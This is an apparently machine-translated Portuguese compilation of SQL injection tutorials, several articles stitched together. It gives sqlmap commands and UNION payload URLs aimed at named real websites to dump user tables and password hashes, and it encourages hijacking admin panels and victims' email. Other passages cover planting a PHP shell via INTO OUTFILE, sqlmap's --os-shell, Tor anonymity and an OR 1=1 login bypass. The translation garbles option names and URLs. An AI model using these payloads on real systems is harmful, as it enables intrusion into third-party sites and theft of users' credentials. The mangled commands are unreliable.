Preenchendo o shell usando injeção de SQL. Preencha a casca. Possíveis problemas ao digitalizar o sqlmap

O que é sqlmap e para que serve?

O programa permite que você verifique sites em busca de vulnerabilidades de injeção de SQL, vulnerabilidades de XSS e também explore a injeção de SQL. Vários tipos de injeções SQL e uma variedade de bancos de dados são suportados.

O que você pode fazer com sqlmap

Com o sqlmap você pode:

  • verifique se os sites têm vulnerabilidades

Se o site estiver vulnerável à injeção de SQL, é possível:

  • receber informações do banco de dados, incluindo despejar (todo) o banco de dados
  • modificar e excluir informações do banco de dados
  • fazer upload de um shell (backdoor) para um servidor web

Um dos cenários para usar o sqlmap:

  • Obtendo nome de usuário e senha do banco de dados
  • Pesquise painéis de administração do site (painel de administração)
  • Faça login no painel de administração com o login e senha recebidos

Se houver uma vulnerabilidade, o ataque poderá se desenvolver em várias direções:

  • Modificação de dados
  • Preenchendo a porta dos fundos
  • Injetando código JavaScript para obter dados do usuário
  • Implementando código para conectar BeEF

Como podemos ver, a injeção de SQL é uma vulnerabilidade muito perigosa que oferece grandes oportunidades ao invasor.

Verificando sites usando sqlmap

Se o site recebe dados do usuário usando o método GET (quando o nome da variável e os dados transmitidos estão visíveis na barra de endereço do navegador), então você precisa selecionar o endereço da página na qual esta variável está presente. Ele vem depois do ponto de interrogação ( ? ), Por exemplo:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

No primeiro endereço, o nome da variável é eu ia, e o valor transmitido é 8 . No segundo endereço o nome da variável também é eu ia, e o valor transmitido 22 . No terceiro exemplo, o nome da variável é o mesmo, mas o valor que está sendo passado é p_36. O mesmo nome de variável é uma correspondência aleatória para sites diferentes, pode ser qualquer coisa, os dados transmitidos podem ser qualquer coisa, pode haver diversas variáveis ​​com valores separados por um símbolo & .

Se quisermos verificar se a variável id é vulnerável à injeção de SQL, precisamos inserir o endereço completo - http://www.dwib.org/faq2.php?id=8 (não http://www.dwib .org/faq2.php ou http://www.dwib.org).

O comando para verificar uma variável passada pelo método GET é muito simples:

Sqlmap -u endereço_do_site

Para esses sites os comandos serão:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Durante o processo de verificação, o sqlmap pode fazer várias perguntas e você precisa respondê-las sim(ou seja, sim) ou n(ou seja, não). A letra y e n pode ser maiúscula ou minúscula. A letra maiúscula significa a escolha padrão, se você concordar com ela, basta pressionar Enter.

Exemplos de situações e dúvidas:

A heurística detectou que o destino está protegido por algum tipo de WAF/IPS/IDS. Você deseja que o sqlmap tente detectar WAF/IPS/IDS de back-end?

A heurística determinou que o alvo está protegido por algum tipo de WAF/IPS/IDS. Você deseja que o sqlmap tente determinar o nome do WAF/IPS/IDS?

Meu pedido favorito:

O teste heurístico (básico) mostra que o parâmetro GET "id" pode ser injetável (possível DBMS: "MySQL") teste para injeção de SQL no parâmetro GET "id", parece que o DBMS back-end é "MySQL". Deseja ignorar cargas de teste específicas para outros SGBDs?

A questão é que a heurística determinou que o parâmetro pode estar vulnerável e o SGBD remoto já foi identificado, somos questionados se queremos continuar a verificação. E na segunda captura de tela, o site também é vulnerável ao XSS.

Se você deseja automatizar o processo para que o sqlmap não pergunte sempre, mas use a seleção padrão (sempre há opções melhores), então você pode executar o comando com a opção --lote:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Possíveis problemas ao digitalizar o sqlmap

Os seguintes erros podem aparecer:

A conexão com o URL de destino expirou. O sqlmap tentará novamente a(s) solicitação(ões) se o problema persistir, verifique se o URL de destino fornecido é válido. Caso seja, você pode tentar executar novamente com a opção "--random-agent" ativada e/ou opções de proxy ("--ignore-proxy", "--proxy",...)

Significa que o site não quer “falar” com o sqlmap. Como opção, somos oferecidos para usar --agente aleatório. Se você consegue visualizar o site no navegador, mas o sqlmap escreve que é impossível conectar, então o site está ignorando as solicitações, concentrando-se no agente do usuário. A opção --random-agent altera o valor padrão do sqlmap para aleatório:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Outra razão para esse erro pode ser que seu IP esteja bloqueado por um site – então você precisa usar um proxy. Se você já estiver usando um proxy e esse erro aparecer, pode significar que o proxy está com problemas de comunicação e você deve tentar sem ele.

resultados da verificação sqlmap

As injeções de SQL detectadas são exibidas da seguinte forma:

Aqueles. estão destacados em negrito na cor verde, está escrito o nome do parâmetro vulnerável, o tipo de vulnerabilidade SQL e há a palavra injetável.

Obtendo uma lista de bancos de dados com sqlmap

Para obter uma lista de bancos de dados, use a opção --dbs. Exemplos:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Recuperando informações de bancos de dados

Por exemplo, dois bancos de dados foram encontrados para o site wellerpools.com:

[*] esquema_de_informações [*] main_wellerpools

Quero saber a lista de tabelas do banco de dados main_wellerpools. Para fazer isso, use a opção --tabelas. Além disso, precisamos indicar a tabela que nos interessa após a opção -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Lista de mesas:

Por algum motivo, quero saber a lista de colunas da tabela de usuários. Para fazer isso, use a opção --colunas. Além disso, precisamos indicar o banco de dados de nosso interesse ( -D main_wellerpools) e depois da chave -T a tabela para a qual queremos ver uma lista de colunas:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T usuários --columns

Para exibir o conteúdo, use a opção --jogar fora. Ele pode ser especificado junto com o banco de dados, e então será feito um dump de todo o banco de dados, ou você pode limitar os dados a uma tabela ou até mesmo a uma coluna. Com o seguinte comando quero ver o conteúdo de toda a tabela de usuários:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T usuários --dump

Dê uma olhada nas senhas - após uma rápida inspeção, pensei que fossem hashes. Os administradores realmente tentaram se defender, mas isso não os ajudou.

Aliás, como o parâmetro que aceita dados enviados pelo método GET é vulnerável, você pode fazer uma solicitação diretamente na linha do navegador de forma que o login e senha do usuário sejam exibidos diretamente no próprio site:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(nome_do_usuário,0x3a,nome_do_usuário),3,4,5,6,7,8,9, 10+de+usuários--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+de+usuários--

Aqueles. Temos o nome de usuário, senha e e-mail dos usuários (e provavelmente até dos administradores) do site. Se você conseguir encontrar o painel administrativo do site, poderá obter o controle do site ou do servidor web. Considerando o amor dos usuários pelas mesmas senhas e o conhecimento de suas caixas de correio, você pode tentar hackear seus e-mails.

Em geral, a injeção de SQL é uma vulnerabilidade muito perigosa.

SQL Injection é um tipo de ataque em que um invasor modifica a lógica de consulta SQL de uma aplicação web, permitindo-lhe ler/modificar/excluir valores no banco de dados e às vezes executar código arbitrário no lado do servidor. Este artigo discutirá o popular utilitário sqlmap para realizar injeções de SQL.

No momento, este tipo de vulnerabilidade é a mais perigosa de todas possíveis. Por 7 anos, a linha líder do “OWASP TOP-10” foi liderada por injeções de SQL.

Existem 5 razões principais para esta vulnerabilidade:

  1. Validação insuficiente ou falta de validação dos parâmetros de entrada, especialmente entrada do usuário. “Qualquer parâmetro de entrada é mau”
  2. Acesso irracional e pouco protegido a bancos de dados. Esta categoria inclui fatores como: um grande número de administradores e superusuários (root), um sistema de autenticação fraco, um grande número de direitos para administradores secundários, etc.
  3. Arquitetura. Utilização de tecnologias ultrapassadas, falta de medidas de controle, negligência da metodologia de “modelagem de ameaças”.
  4. Hereditariedade de código obviamente vulnerável, utilização de soluções prontas e com baixo nível de segurança.
  5. Falta de um nível apropriado de abstração do código executável dos dados.

SQLMap.

Tipos de injeções SQL.

Vejamos os tipos de injeções SQL exploradas pelo utilitário SQLMap:

  1. Injeção SQL cega baseada em booleano
    • Um método no qual solicitações e respostas HTTP são lidas caractere por caractere para detectar vulnerabilidades.
    • Depois que um parâmetro vulnerável é detectado, o SQLMap substitui ou adiciona instruções SQL sintaticamente corretas enquanto espera a resposta do servidor executando esse código.
    • SQLMap compara a solicitação original válida com a resposta de uma solicitação com código malicioso incorporado.
    • SQLMap usa o algoritmo de bissecção ( bissecional algoritmo) para buscar cada caractere da resposta usando no máximo sete solicitações HTTP.
    • Onde a resposta não é dada em texto puro, o SQLMap adapta o algoritmo com valores maiores para determinar a resposta.
  2. Injeção cega de SQL baseada em tempo
    • O próprio método Time Based assume que há alguma comparação baseada nos tempos de solicitação e resposta, injetando uma instrução SQL sintaticamente correta no parâmetro vulnerável.
    • SQLMap usa instruções SQL que colocam o banco de dados em espera para retornar por um período de tempo especificado.
    • Usando o mesmo algoritmo bissecional para gerar caractere por caractere, o SQLMap compara o tempo de resposta HTTP com a solicitação original.
  3. Injeção SQL Baseada em Erros
    • SQLMap usa instruções SQL que podem causar a geração de erros específicos.
    • O utilitário procura erros na resposta HTTP do servidor.
    • Este método só funciona se o aplicativo web estiver configurado para divulgar mensagens de erro.
  4. Consulta UNIÃO
    • Instrução SQL de entrada UNIÃO TODOS SELECIONADOS .
    • A injeção de SQL baseada em consultas UNION funciona com base no comportamento do aplicativo, ou seja, quando um aplicativo passa o resultado de uma consulta SELECT escrita por meio de um loop específico ou linha de instruções que permite que a saída seja gravada no conteúdo da página.
    • Caso a saída não passe por nenhum loop para ou outra sequência de instruções, o SQLMap usa injeção de consulta UNION única.
  5. Consulta empilhada
    • Usando consultas dobradas. SQLMap adiciona um ponto e vírgula (;) ao valor do parâmetro afetado e adiciona a instrução SQL que precisa ser executado.
    • Usando esta técnica, você pode executar instruções SQL diferentes de SELECT. Isso é útil para manipular dados, obter acesso de leitura e gravação e, finalmente, ser capturado pelo sistema operacional.
  6. Fora da banda
    • Este método usa um canal de comunicação secundário ou outro canal de comunicação para gerar os resultados das consultas executadas no aplicativo afetado.
    • Por exemplo, a inserção é feita em uma aplicação web e em um canal secundário como Consultas DNS, é usado para encaminhar dados de volta ao domínio do invasor.

Uso básico do SQLMap.

Inicie o utilitário (deve estar na variávelCAMINHO ):

$sqlmap

Ou no diretório de utilitários:

$pythonsqlmap.py

A chave é usada para chamar a documentação «- h / — ajuda »:

$ sqlmap --help $ python sqlmap.py –help

As ações das chaves SQLMap dependem completamente do que exatamente o invasor deseja alcançar. A lista básica de ações SQLMap é semelhante a esta:

  • Liste informações do banco de dados, como nome, versão e outros detalhes.
  • Selecione um banco de dados específico para listar informações sobre as tabelas que ele contém.
  • Selecione a tabela e liste as informações da coluna.
  • Selecione uma coluna e liste as linhas para recuperar seus valores.
  • Exploração adicional.

Prática.

Para nosso treinamento prático usaremos Droga Vulnerável Rede Aplicativo (DVWA ou "Maldito aplicativo web vulnerável").

DVWA é um aplicativo web gratuito desenvolvido com base em tecnologias como PHP e MySQL, projetado para treinar habilidades de pentesting.

Agora estamos interessados ​​​​apenas em injeções, mas em geral você pode testar suas habilidades em outras vulnerabilidades criadas com base no oficial OWASP PRINCIPAL -10 .

P.S.: Esta prática pressupõe que você tenha conhecimento do básico de Linux, um nível inicial de inglês e capacidade de usar o Google (caso não possua as habilidades acima).

Instalação:

  • Baixe o aplicativo e siga as instruções;
  • Mude o nível de dificuldade para BAIXO;
  • Estamos interessados ​​apenas nas abas “SQL Injection”;

Dados iniciais:

  • Servidor Web em uma rede privada
  • URL vulnerável: http:// seu hospedar . com /dvwa/vulnerabilidades/sqli/?id=1&Submit=Enviar#
  • Parâmetro vulnerável: eu ia

Então vamos começar:

  1. Confirmamos disponibilidadeSQL injeções:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Explicação do comando:

— url – URL com o suposto parâmetro vulnerável. É importante observar que a variável desta chave está escrita entre aspas, porque A URL que está sendo verificada possui mais de um parâmetro passado. Caso contrário, você pode ignorar as aspas e usar a versão abreviada da chave “- você sem sinal de igual .

- cookie – Cookie de sessão para acesso direto durante um ataque (chave opcional).

Conclusão:

Análise:

  • O aplicativo é vulnerável à injeção de SQL
  • Tipo de injeção – Consulta UNION
  • Banco de dados back-end (SGBD) – MySQL5
  • Detalhes técnicos do sistema operacional - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Listamos os nomes dos bancos de dados:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Explicação do comando:

—dbs – chave para listar os bancos de dados disponíveis.

Conclusão:

Análise: SQLMap listou os bancos de dados disponíveis (7 no total).

  1. Listamos os nomes das tabelas (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tabelas

Explicação do comando:

-D – Especifique o banco de dados em que estamos interessados.

--tables – Lista as tabelas disponíveis no banco de dados.

Conclusão:

Análise: Como podemos ver, o SQLMap listou com sucesso os nomes de 2 tabelas no banco de dados dvwa .

  1. Listagem adicional de nomes de colunas da tabela “Usuários ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T usuários –colunas

Explicação do comando:

-T – Indica a tabela que nos interessa.

—columns – Lista as colunas disponíveis na tabela.

Conclusão:

Análise: Como podemos ver, o SQLMap listou com sucesso os nomes de 6 colunas na tabela Usuários, bd dvwa .

  1. Listamos/puxamos valores da tabela “Usuários ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T usuários -C user_id,usuário,senha --dump

Explicação do comando:

C – Indique as colunas que nos interessam.

--dump – Despeja valores das colunas listadas.

Conclusão:

Análise: Com base na resposta do SQLMap, observamos os seguintes pontos:

  • SQLMap recupera registros de colunas especificadas e analisa os dados contidos nessas colunas.
  • Depois que os dados são reconhecidos como possíveis hashes de senha, o SQLMap tenta quebrar o hash usando vários algoritmos de hash.
  • Nesse caso, o hash é MD5, portanto, com a primeira técnica de hash que a ferramenta usa, ela pode quebrar os hashes com sucesso e produzir uma resposta bem formatada.
  • Além disso, a ferramenta salva as entradas listadas em formato de arquivo “.csv” para uso futuro; Portanto, você não precisa despejar os dados em um arquivo de texto ou fazer uma captura de tela, o SQLMap cuidará disso.
  1. Exploração adicional e aquisição do servidor (A.S.P. , não inclusoDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=senha&cmdSubmit=Login" --os-shell

Explicação do comando:

—data – Especifique os parâmetros para teste que são enviados na solicitação POST.

—os —shell – Chave especial para tentar explorar o console do servidor via injeção SQL.

Conclusão:

Análise: Com base na resposta do SQLMap, observamos os seguintes pontos:

  • Após confirmar e explorar a injeção de SQL, o SQLMap verifica se o usuário é DBA (Administrador de Banco de Dados).
  • A ferramenta então tentou usar um procedimento armazenado estendido - "xp_cmdshell", que é comumente usado pelo SQL Server 2000.
  • "xp_cmdshell" é usado para executar a linha de comando fornecida como um comando do sistema operacional. Por sua vez, ele gera o resultado como texto padrão.

Benefícios de obter um nível mais profundo de acesso ao sistema:

  • Acesso às credenciais do usuário ou hashes de senha.
  • Um shell interativo que permitirá fazer upload ou download de arquivos do servidor.
  • Execute comandos de eixo (SO) para explorar a rede interna.
  • Capacidade de baixar malware.
  • Exploração adicional usando Metasploit Framework.
  • Criação e preenchimento de portas traseiras.

Melhores práticas e uso avançado.

  1. SQLMap ESABÃO (Simples Objeto Acesso Protocolo ) solicitações de: O processo de análise de solicitações SOAP é bastante simples:
    • Capture sua solicitação SOAP.
    • Salvando-o em um arquivo de texto junto com possíveis parâmetros vulneráveis.
    • Use o comando abaixo para SQLMap junto com a opção -p se você conhece o parâmetro vulnerável:
$ ./sqlmap.py -r So_request.txt -p
    • O SQLMap analisará automaticamente a solicitação SOAP e tentará penetrar no parâmetro vulnerável.
  1. SQLMap EJSON (JavaScript Objeto Notação ) solicitações de: Em cenários semelhantes de uso do SQLMap para consultas SOAP, as consultas JSON também podem ser analisadas e exploradas. Para um tipo de consulta JSON, o SQLMap solicitará que você explore a vulnerabilidade detectando o tipo de consulta JSON no "arquivo de consulta". Depois de responder sim, a ferramenta analisará a solicitação e escolherá seu próprio vetor de ataque.
  2. SQLMap e servidor proxy: Os tipos de redes empresariais são normalmente protegidos e monitorados usando proxies controlados para todo o tráfego de entrada ou saída. Nesses casos, você tem a opção de adicionar uma opção de proxy diretamente à opção SQLMap para se comunicar com a URL de destino. Embora o SQLMap seja uma ferramenta de linha de comando, ele se comunica através do protocolo HTTP, portanto, se você definir um proxy HTTP para a conexão de Internet correspondente, o SQLMap o tomará como base:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap EWAF (Rede Aplicativo Firewall ): WAF é uma camada adicional de proteção para aplicações web, complicando significativamente a análise e operação usando métodos padrão disponíveis no SQLMap. Para isso, existe uma função “tamper -script”, que simplifica muito o trabalho com aplicações web localizadas atrás de um WAF.
  2. SQLMap e anonimato: Se quiser ocultar sua identidade e se passar por anônimo para o aplicativo de destino, você pode usar o servidor proxy TOR (The Onion Router). No SQLMap você pode configurar o proxy TOR para ocultar a fonte a partir da qual o tráfego ou solicitação é gerado com as seguintes chaves:
    • para mudar o utilitário para o modo proxy TOR.
    • para tipo configuração manual do protocolo proxy TOR (HTTP /SOCKS 4/4a /5).
    • verificar para verificando a funcionalidade do proxy TOR

Saudações, leitor. Ultimamente tenho me interessado por segurança na Web e, até certo ponto, meu trabalho está relacionado a isso. Porque Cada vez mais comecei a notar tópicos em vários fóruns pedindo-lhes que mostrassem como tudo funciona, então decidi escrever um artigo. O artigo será direcionado a quem ainda não encontrou isso, mas gostaria de aprender. Existem relativamente muitos artigos sobre esse assunto na Internet, mas para iniciantes eles são um pouco complicados. Tentarei descrever tudo em linguagem clara e exemplos detalhados.

Prefácio

Para entender este artigo, você realmente não precisa de conhecimento da linguagem SQL, mas pelo menos de boa paciência e um pouco de cérebro para memorização.

Acredito que apenas ler o artigo não será suficiente, pois... precisamos de exemplos vivos - como você sabe, a prática, no processo de memorização, nunca é supérflua. Portanto, escreveremos scripts vulneráveis ​​e treinaremos neles.

O que é injeção de SQL?
Em termos simples, trata-se de um ataque ao banco de dados, que permitirá realizar alguma ação que não foi planejada pelo criador do script. Exemplo da vida:

O pai escreveu um bilhete para a mãe para dar 100 rublos a Vasya e colocá-lo sobre a mesa. Retrabalhando isso em uma linguagem SQL cômica, obtemos:
TIRE 100 RUBLOS DA SUA CARTEIRA E DÊ-OS A Vasya

Como o pai escreveu mal o bilhete (caligrafia desajeitada) e o deixou sobre a mesa, o irmão de Vasya, Petya, viu. Petya, sendo um hacker, adicionou “OR Pete” ali e o resultado foi o seguinte pedido:
TIRE 100 RUBLOS DA SUA CARTEIRA E DÊ-OS PARA Vasya OU Petya

Mamãe, depois de ler o bilhete, decidiu que ontem deu dinheiro para Vasya e deu 100 rublos para Petya. Aqui está um exemplo simples de injeção de SQL :) Sem filtrar os dados (mamãe mal conseguia entender a caligrafia), Petya obteve lucro.

Preparação
Para praticar, você precisará de um arquivo com os scripts de origem deste artigo. Baixe-o e descompacte-o no servidor. Importe também o banco de dados e defina os dados no arquivo cfg.php

Injeção de SQL de pesquisa

Como você já entendeu, a injeção vem de dados recebidos que não são filtrados. O erro mais comum é não filtrar o ID transmitido. Bem, grosso modo, coloque aspas em todos os campos. Seja uma solicitação GET/POST ou até mesmo um Cookie!

Parâmetro de entrada numérico
Para praticar precisamos de um script index1.php. Como disse acima, inserimos aspas no ID da notícia.

Porque Nossa solicitação não tem filtragem:

$id = $_GET["id"]; $query = "SELECT * FROM notícias WHERE id=$id";

O script entenderá isso como

SELECIONE * DE notícias ONDE id=1"

E isso nos dará um erro:
Aviso: mysql_fetch_array() espera que o parâmetro 1 seja um recurso, booleano fornecido em C:\WebServ\domains\sqlinj\index1.php na linha 16

Se o erro não aparecer, pode haver os seguintes motivos:

1. A injeção de SQL não está aqui - as cotações são filtradas ou vale a pena converter para (int)
2. A saída de erro está desabilitada.

Se você ainda receber um erro - Viva! Encontramos o primeiro tipo de injeção SQL - parâmetro de entrada numérico.

Parâmetro de entrada de string

Enviaremos solicitações para index2.php. Neste arquivo, a solicitação se parece com:
$usuário = $_GET["usuário"]; $query = "SELECT * FROM notícias WHERE user="$user"";

Aqui selecionamos notícias por nome de usuário e, novamente, não filtramos.
Novamente enviamos uma solicitação com um orçamento:

Deu um erro. OK! Isso significa que há uma vulnerabilidade. Para começar, isso é o suficiente para nós - vamos praticar.

Vamos agir

Um pouco de teoria

Você provavelmente mal pode esperar para tirar algo disso além de erros. Primeiro, entenda que o sinal " -- "é considerado um comentário em SQL.

ATENÇÃO! Deve haver espaços antes e depois. Na URL eles são transmitidos como %20

Tudo o que vier depois do comentário será descartado. Ou seja, a solicitação:
SELECT * FROM notícias WHERE user="AlexanderPHP" -- habrahabra

Terá sucesso. Você pode tentar fazer isso no script index2.php enviando uma solicitação como esta:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Aprenda o parâmetro UNIÃO. Na linguagem SQL a palavra-chave UNIÃO usado para combinar os resultados de duas consultas SQL em uma única tabela. Ou seja, para retirar algo que precisamos de outra mesa.

Vamos aproveitar isso

Se o parâmetro for “Numérico”, então não precisamos enviar orçamento na solicitação e naturalmente colocar um comentário no final. Vamos voltar ao roteiro index1.php.

Vamos voltar para o script sqlinj/index1.php?id=1 UNION SELECT 1 . Nossa consulta ao banco de dados fica assim:
SELECT * FROM notícias WHERE id=1 UNION SELECT 1
E ele nos deu um erro, porque... para trabalhar com consultas mescladas, precisamos do mesmo número de campos.

Porque Não podemos influenciar o número deles na primeira solicitação, então precisamos selecionar o número deles na segunda para que seja igual ao primeiro.

Selecionando o número de campos

A seleção dos campos é muito simples, basta enviar as seguintes solicitações:
sqlinj/index1.php?id=1 SELEÇÃO DE UNIÃO 1,2
Erro…
sqlinj/index1.php?id=1 SELEÇÃO DE UNIÃO 1,2,3
Erro novamente!
sqlinj/index1.php?id=1 SELEÇÃO DE UNIÃO 1,2,3,4,5
Nenhum erro! Isso significa que o número de colunas é 5.

Agrupar por
Muitas vezes acontece que pode haver 20 ou 40 ou até 60 campos para que não tenhamos que classificá-los todas as vezes, usamos. Agrupar por

Se o pedido
sqlinj/index1.php?id=1 GRUPO POR 2
não apresentou nenhum erro, o que significa que o número de campos é maior que 2. Vamos tentar:

Sqlinj/index1.php?id=1 GRUPO POR 8
Op, vemos um erro, significa que o número de campos é menor que 8.

Se não houver erro com GROUP BY 4, e com GROUP BY 6 houver erro, então o número de campos é 5

Definição de colunas de saída
Para garantir que nada nos seja exibido desde a primeira solicitação, basta substituir um ID inexistente, por exemplo:

Sqlinj/index1.php?id=-1 UNIÃO SELECIONE 1,2,3,4,5

Com esta ação, determinamos quais colunas serão exibidas na página. Agora, para substituir esses números pelas informações necessárias, você precisa continuar a solicitação.

Saída de dados

Digamos que sabemos que a tabela ainda existe Usuários em que os campos existem eu ia, nome E passar.
Precisamos obter informações sobre o usuário com ID=1

Portanto, vamos construir a seguinte consulta:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM usuários WHERE id=1
O script também continua a produzir

Para isso, substituiremos os nomes dos campos no lugar dos números 1 e 3

Sqlinj/index1.php?id=-1 UNION SELECT nome,2,pass,4,5 FROM usuários WHERE id=1
Conseguimos o que precisávamos!

Para "parâmetro de entrada de string" como no script index2.php você precisa adicionar aspas no início e um comentário no final. Exemplo:
sqlinj/index2.php?user=-1" UNION SELECT nome,2,pass,4,5 FROM usuários WHERE id=1 --%20

Ler/gravar arquivos

Para ler e gravar arquivos, o usuário do banco de dados deve ter direitos FILE_PRIV.
Gravando arquivos
Na verdade, tudo é muito simples. Para escrever um arquivo, usaremos a função ARQUIVO.
sqlinj/index2.php?user=-1" UNION SELECIONE 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Ótimo, o arquivo foi registrado conosco. Assim, podemos preencher o mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 NO ARQUIVO "1.php" --%20
Lendo arquivos
Ler arquivos é ainda mais fácil do que escrever. Basta simplesmente usar a função LOAD_FILE, para o local do campo que selecionamos:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Assim, lemos o arquivo escrito anterior.

Métodos de proteção

Proteger-se é ainda mais fácil do que explorar uma vulnerabilidade. Basta filtrar os dados. Se você estiver passando números, use
$id = (int) $_GET["id"];
Como sugeriu o usuário malroc. Proteja-se usando DOP ou declarações preparadas.

Em vez de completar

É aqui que quero terminar minha primeira parte sobre “Injeção de SQL para iniciantes”. Na segunda veremos exemplos mais graves de injeções. Tente escrever scripts vulneráveis ​​e executar consultas você mesmo.
E lembre-se, não confie em nenhum usuário do seu site.

A injeção de SQL é um ataque que explora instruções SQL dinâmicas comentando certas partes das instruções ou adicionando uma condição que sempre será verdadeira. Ele visa falhas na arquitetura de aplicativos da web e usa instruções SQL para executar código SQL malicioso:

Neste artigo, veremos as técnicas usadas em injeções de SQL e como proteger aplicações web contra tais ataques.

Como funciona a injeção de SQL

Os tipos de ataques que podem ser realizados usando injeção SQL variam de acordo com o tipo de mecanismo de banco de dados afetado. O ataque tem como alvo instruções SQL dinâmicas. Uma instrução dinâmica é uma instrução criada em tempo de execução com base em parâmetros de um formulário da web ou string de consulta URI.

Considere um aplicativo web simples com um formulário de login. O código do formulário HTML está abaixo:

  • O formulário aceita um endereço de e-mail e depois a senha é enviada para um arquivo PHP chamado index.php;
  • A sessão é armazenada em um cookie. Este recurso é habilitado verificando o sinalizador Remember_me. O método post é usado para enviar dados. Isso significa que os valores não são exibidos na URL.

Vamos supor que a solicitação para verificar o ID do usuário no lado do servidor seja assim:

  • A solicitação usa os valores do array $_POST diretamente, sem higienizá-lo;
  • A senha é criptografada usando o algoritmo MD5.

Veremos um ataque usando sqlfiddle de injeção SQL. Abra o URL http://sqlfiddle.com/ em seu navegador. A seguinte janela aparecerá na tela.

Nota: Você precisará escrever instruções SQL:

Passo 1: Insira este código no painel esquerdo:

CREATE TABLE `usuários` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `senha` VARCHAR(45) NULL, CHAVE PRIMÁRIA (`id`)); insira nos usuários (e-mail, senha) valores (" [e-mail protegido]",md5("abc"));

Passo 2: Clique no botão Esquema de construção».
Etapa 3: insira o código abaixo no painel direito:

selecione * dos usuários;

Etapa 4: clique em " Execute SQL" Você verá o seguinte resultado:

Vamos supor que o usuário forneça um endereço de e-mail [e-mail protegido] e 1234 como senha. A consulta que precisa ser executada no banco de dados pode ser assim:

O exemplo de código de injeção SQL acima pode ser ignorado comentando parte da senha e adicionando uma condição que sempre será verdadeira. Vamos supor que um invasor insira os seguintes dados no campo de endereço de e-mail:

[e-mail protegido]"OU 1 = 1 LIMITE 1 --" ]

e xxx no campo de senha.

A instrução dinâmica gerada ficará assim:

  • [e-mail protegido] termina com aspas simples, que encerra a string;
  • OR 1 = 1 LIMITE 1 é uma condição que sempre será verdadeira e limita os resultados retornados a apenas um registro.

0; ‘AND… é um comentário SQL que exclui a parte da senha.

Copie a consulta acima e cole-a na caixa de texto FiddleRun SQL conforme mostrado abaixo:

Atividade de hackers: injeções de SQL em aplicações web

Temos um aplicativo da web simples disponível em http://www.techpanda.org/ que é especificamente vulnerável a ataques de injeção de SQL para iniciantes, para fins de demonstração. O código do formulário HTML fornecido acima foi retirado da página de autorização deste aplicativo.

Ele fornece segurança básica, como higienização de campos de e-mail. Isso significa que o código acima não pode ser usado para contornar esse mecanismo.

Para contornar isso, você pode usar o campo de senha. O diagrama abaixo mostra as etapas que você precisa seguir:

Vamos supor que o invasor forneça os seguintes dados:

Etapa 1: entrar [e-mail protegido] como um endereço de e-mail;
Etapa 2: Insira xxx’) OU 1 = 1 - ] ;

Clica no botão “Enviar”.

Ele será enviado para o painel de administração. A consulta gerada ficará assim:

O diagrama abaixo mostra como a solicitação foi gerada:

Aqui:

  • A solicitação pressupõe que a criptografia MD5 seja usada;
  • São usadas aspas simples de fechamento e parênteses;
  • Uma condição é adicionada ao operador que sempre será verdadeira.

Normalmente, os invasores tentam usar vários métodos diferentes em um ataque de injeção de SQL para atingir seus objetivos.

Outros tipos de ataques de injeção SQL

As injeções de SQL podem causar muito mais danos do que fazer login em um sistema ignorando o mecanismo de autorização. Alguns desses ataques podem:

  • Execute a exclusão de dados;
  • Realizar atualização de dados;
  • Adicione dados;
  • Execute comandos no servidor que irão baixar e instalar programas maliciosos;
  • Exporte dados valiosos, como detalhes de cartão de crédito, e-mail e senhas, para o servidor remoto do invasor.

A lista acima não está completa. Simplesmente dá uma ideia dos perigos que as injeções de SQL representam.

Ferramentas para automatizar injeções de SQL

No exemplo acima, usamos métodos de ataque manuais. Antes de realizar uma injeção de SQL, você precisa entender que existem ferramentas automatizadas que permitem realizar ataques de forma mais eficiente e rápida:

  • SQLSmack;
  • SQLPing2;
  • SQLMap.

Como evitar injeções de SQL

Aqui estão algumas regras simples para proteção contra ataques de injeção de SQL:

A entrada do usuário não deve ser confiável. Ele sempre precisa ser limpo antes de os dados serem usados ​​em operações SQL dinâmicas.
